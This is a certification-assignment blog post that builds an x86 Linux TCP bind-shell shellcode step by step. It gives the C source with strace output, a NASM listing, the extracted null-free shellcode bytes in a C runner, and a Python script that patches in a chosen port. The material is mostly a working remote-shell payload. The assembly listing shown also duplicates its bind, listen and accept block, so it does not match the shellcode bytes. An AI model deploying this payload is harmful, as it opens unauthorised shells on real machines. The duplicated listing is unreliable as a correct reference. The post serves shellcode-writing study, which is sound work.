This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Create a shell_bind_tcp shellcode that binds to a port and execute a shell on an incoming connection. The port number should be easy to configure.
Prestudy
The idea is to first compile a bind shell written in C and then use strace to see which calls it makes. Once that’s done we’ll recreate it in nasm.
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
void main() {
// Create our socket
int sock = socket(AF_INET, SOCK_STREAM, 0);
// Preparing bind address
struct sockaddr_in addr;
// IPv4
addr.sin_family = AF_INET;
// Bind to 0.0.0.0
addr.sin_addr.s_addr = INADDR_ANY;
// Port number to listen on
addr.sin_port = htons(4444);
// Bind our socket and listen
bind(sock,(struct sockaddr*)&addr, sizeof(addr));
listen(sock, 1);
// Accept incoming connection
int client = accept(sock, (struct sockaddr*) NULL, NULL);
// Duplicate the file descriptors
// stdin = 0, stdout = 1, stderr = 2
int i;
for (i=0; i <= 2; i++){
dup2(client, i);
}
// Spawn the shell
char *argv[] = {"/bin/sh", 0};
execve("/bin/sh", argv, NULL);
}
Time to compile and run strace. Note that the e argument has been provided. This is to limit the otherwise quite expansive output.
$
$ gcc b-shell.c -o b
$
$ strace -e socket,bind,listen,accept,dup2,execve ./b
execve("./b", ["./b"], [/* 21 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
$
$
Pretty cool. This is what we now must re-create in nasm.
Nasm
In /usr/include/i386-linux-gnu/asm/unistd_32.h we dig up the needed syscalls.
egrep "execve|dup2|socketcall" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
Note that these numbers might need to be converted to hex
Let’s start by looking at the man page for socketcall.
Syntax: int socketcall(int call, unsigned long *args);
Now let’s find out which call we need to make. In /usr/include/linux/net.h we find the following:
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ #define SYS_ACCEPT4 18 /* sys_accept4(2) */ #define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */ #define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
Socket = 1
Bind = 2
Listen = 4
Accept = 5
Assembly
Let’s type this out.
; Filename: bind.nasm
; Author: Alex
; SLAE-ID: SLAE-1046
; Website: http://0xdeadcode.se
;
; Purpose: Assignment 1 - SLAE Exam
; Bind Shell
global _start
section .text
_start:
; int socketcall(int call, unsigned long *args) from man page
; int sock = socket(AF_INET, SOCK_STREAM, 0) from bind shell code
; SOCK_STREAM is represented by 1
; AF_INET is represented by 2
; push args on stack (in reverse order)
; put selected call (socket = 1) in ebx
; put syscall hex(nr) in eax
xor eax, eax
xor ebx, ebx
xor edi, edi
push eax ; push 0 to stack
inc eax
push eax ; push 1 to stack (SOCK_STREAM)
inc eax
push eax ; push 2 to stack (AF_INET)
mov al, 0x66 ; socketcall (102 dec is 0x66)
mov bl, 0x1 ; socket()
mov ecx, esp ; pointer to the arguments we pushed
int 0x80 ; syscall
mov edx, eax ; save return value
; socketcall for sys_bind
; bind(sock,(struct sockaddr*)&addr, sizeof(addr));
; edx contain pointer to sock
xor eax, eax
push eax ; push zeroes for our bind address (0.0.0.0)
push word 0x5c11 ; push port number 4444 in reverse
push word 0x2 ; AF_INET = 2
mov ecx, esp ; store stack address
push 0x10 ; length of the sockaddr struct (decimal 16)
push ecx ; saved stack pointer
push edx ; saved socket pointer
mov al, 0x66 ; socketcall
inc bl ; bl is 0x1, inc 1. sys_bind = 2
mov ecx, esp ; pointer to our args
int 0x80 ; syscall
; socketcall for sys_listen
; listen(sock, 1)
push byte 0x1 ; 1 client only
push edx ; pointer to socket
mov al, 0x66 ; socketcall
add bl, 0x2 ; bl is 0x2, add 0x2 to value. sys_listen = 4
mov ecx, esp ; pointer to our args
int 0x80 ; syscall
; socketcall for sys_accept
; accept(sock, (struct sockaddr*) NULL, NULL);
xor ecx, ecx ; zero ecx to keep data in eax and ebx
push ecx ; NULL
push ecx ; NULL
push edx ; pointer to socket
mov al, 0x66 ; socketcall
inc ebx ; ebx is now 0x5, which is sys_accept
mov ecx, esp ; pointer to args
int 0x80 ; syscall
; socketcall for sys_bind
; bind(sock,(struct sockaddr*)&addr, sizeof(addr));
; edx contain pointer to sock
xor eax, eax
push eax ; push zeroes for our bind address (0.0.0.0)
push word 0x5c11 ; push port number 4444 in reverse
push word 0x2 ; AF_INET = 2
mov ecx, esp ; store stack address
push 0x10 ; length of the sockaddr struct (decimal 16)
push ecx ; saved stack pointer
push edx ; saved socket pointer
mov al, 0x66 ; socketcall
inc bl ; bl is 0x1, inc 1. sys_bind = 2
mov ecx, esp ; pointer to our args
int 0x80 ; syscall
; socketcall for sys_listen
; listen(sock, 1)
push byte 0x1 ; 1 client only
push edx ; pointer to socket
mov al, 0x66 ; socketcall
add bl, 0x2 ; bl is 0x2, add 0x2 to value. sys_listen = 4
mov ecx, esp ; pointer to our args
int 0x80 ; syscall
; socketcall for sys_accept
; accept(sock, (struct sockaddr*) NULL, NULL);
xor ecx, ecx ; zero ecx to keep data in eax and ebx
push ecx ; NULL
push ecx ; NULL
push edx ; pointer to socket
mov al, 0x66 ; socketcall
inc ebx ; ebx is now 0x5, which is sys_accept
mov ecx, esp ; pointer to args
int 0x80 ; syscall
; point stdin, stdout and stderr to our new socket
; return value from last syscall is in eax, need update
; from linux man pages: int dup2(int oldfd, int newfd)
; eax should be 0x3f, ebx oldfd, ecx newfd
; currently eax hold our connected clients socket
; edx is the socket we created at start
mov ecx, edx ; move socket into ecx (newfd)
mov ebx, eax ; move client socket into ebx (oldfd)
loc_loop:
mov al, 0x3f ; dup2 req. eax being 0x3f
int 0x80 ; syscall
dec ecx ; decrease ecx (socket newfd)
jns loc_loop ; jump if loop ain't done (ecx != 0)
; execve /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", argv, NULL);
; eax should contain 0xb
push edi ; register is 0x0 at this time. push null on stack
mov al, 0xb ; sys_execve (decimal 11)
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; save pointer to /bin/sh
push edi ; register is 0x0 at this time. push null on stack
mov edx, esp ; move pointer to null into edx
push ebx ; push pointer to /bin/sh onto stack
mov ecx, esp ; move stack pointer to ecx
int 0x80 ; syscall
Quite a chunk of code, took me more time than I care to admit. There should not be any null bytes in the code, but better safe than sorry.
Shellcode
Sweet, everything looks good so far. Thanks to this great one-liner we can extract the shellcode and put it into a C program and execute it.
objdump -D ./bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xff\x50\x40\x50\x40\x50\xb0\x66\xb3\x01\x89\xe1\xcd\x80"
"\x89\xc2\x31\xc0\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\xb0"
"\x66\xfe\xc3\x89\xe1\xcd\x80\x6a\x01\x52\xb0\x66\x80\xc3\x02\x89\xe1\xcd\x80"
"\x31\xc9\x51\x51\x52\xb0\x66\x43\x89\xe1\xcd\x80\x89\xd1\x89\xc3\xb0\x3f\xcd"
"\x80\x49\x79\xf9\x57\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x57\x89\xe2\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile and execute!
gcc -fno-stack-protector -z execstack -m32 shellcode.c -o bind_shell_4444
After execution we confirm that everything looks good by running netstat.
Awesome. Now let’s connect to the shell and give it some input.
Making stuff easy
Perfect. The last thing needed is an easy way to edit the port number in the shellcode. So, let’s write a python script to do this (everyone loves python right?).
#!/usr/bin/env python2
from sys import argv
port = int(argv[1])
hexport = hex(int(port)).replace('0x', '')
if len(hexport) < 4:
hexport = '0' + hexport
hexport = '\\x%s\\x%s' % (hexport[0:2], hexport[2:])
print 'Port: %d' % port
print 'Hex: %s' % hexport
sc = \
"\\x31\\xc0\\x31\\xdb\\x31\\xff\\x50\\x40\\x50\\x40\\x50\\xb0\\x66\\xb3\\x01\\x89\\xe1\\xcd\\x80" + \
"\\x89\\xc2\\x31\\xc0\\x50\\x66\\x68" + hexport + "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x52\\xb0" + \
"\\x66\\xfe\\xc3\\x89\\xe1\\xcd\\x80\\x6a\\x01\\x52\\xb0\\x66\\x80\\xc3\\x02\\x89\\xe1\\xcd\\x80" + \
"\\x31\\xc9\\x51\\x51\\x52\\xb0\\x66\\x43\\x89\\xe1\\xcd\\x80\\x89\\xd1\\x89\\xc3\\xb0\\x3f\\xcd" + \
"\\x80\\x49\\x79\\xf9\\x57\\xb0\\x0b\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \
"\\x57\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80"
print sc
print len(sc)
And let’s try it out!
It’s worth noting that it is not the actual length of the shellcode that is printed, rather the string.
Github Links
Bind Shell in C
Nasm Bind Shell
Python Port Code
Shellcode.c
Leave a Reply